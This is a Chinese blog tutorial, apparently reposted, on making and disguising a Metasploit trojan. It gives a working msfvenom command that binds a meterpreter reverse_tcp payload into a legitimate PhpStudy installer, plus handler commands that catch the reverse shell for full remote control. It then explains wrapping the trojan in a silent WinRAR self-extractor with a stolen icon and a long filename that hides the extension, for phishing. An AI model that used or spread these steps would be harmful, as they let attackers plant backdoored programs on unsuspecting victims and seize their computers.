msf工具之木马程序制作以及伪装

本文转自行云博客https://www.xy586.top

文章目录

• • 捆绑木马
  • RAR自动解压

捆绑木马

使用msfvenom制作木马程序：

#生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 -f exe -x /root/PhpStudy2018.exe -o /root/phpstudy.exe

在这里插入图片描述

将木马文件放入靶机中

在这里插入图片描述

#设置监听反弹
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.232.138
set lport 4444
run

将木马程序点击执行，监听端口得到回应，成功控制电脑 输入shell，彻底控制电脑

在这里插入图片描述

RAR自动解压

设置自动解压运行 设置rar自动解压格式让它在解压时运行恶意程序 模拟文本文档钓鱼

改良木马程序：

伪装：将网页代码和app进行绑定，然后压缩，使用WinRAR创建自解压格式

在这里插入图片描述

点击高级，在自解压选项中的常规中添加解压路径，

在这里插入图片描述

设置程序选项卡中填写解压前后运行的程序，

在这里插入图片描述

模式选项卡中静默模式选择全部隐藏

在这里插入图片描述

使用BeCyIconGrabber.exe软件提取出我们想要的软件图片ico

在这里插入图片描述

文本和图标选项中，选择加载我们刚刚生成的icon图标

在这里插入图片描述

生成了我们伪装过后的木马程序

在这里插入图片描述

同时可以将文件名称改成比较长的名字，在不选中文件的时候，文件名后面部分会被隐藏，达到隐藏后缀名的效果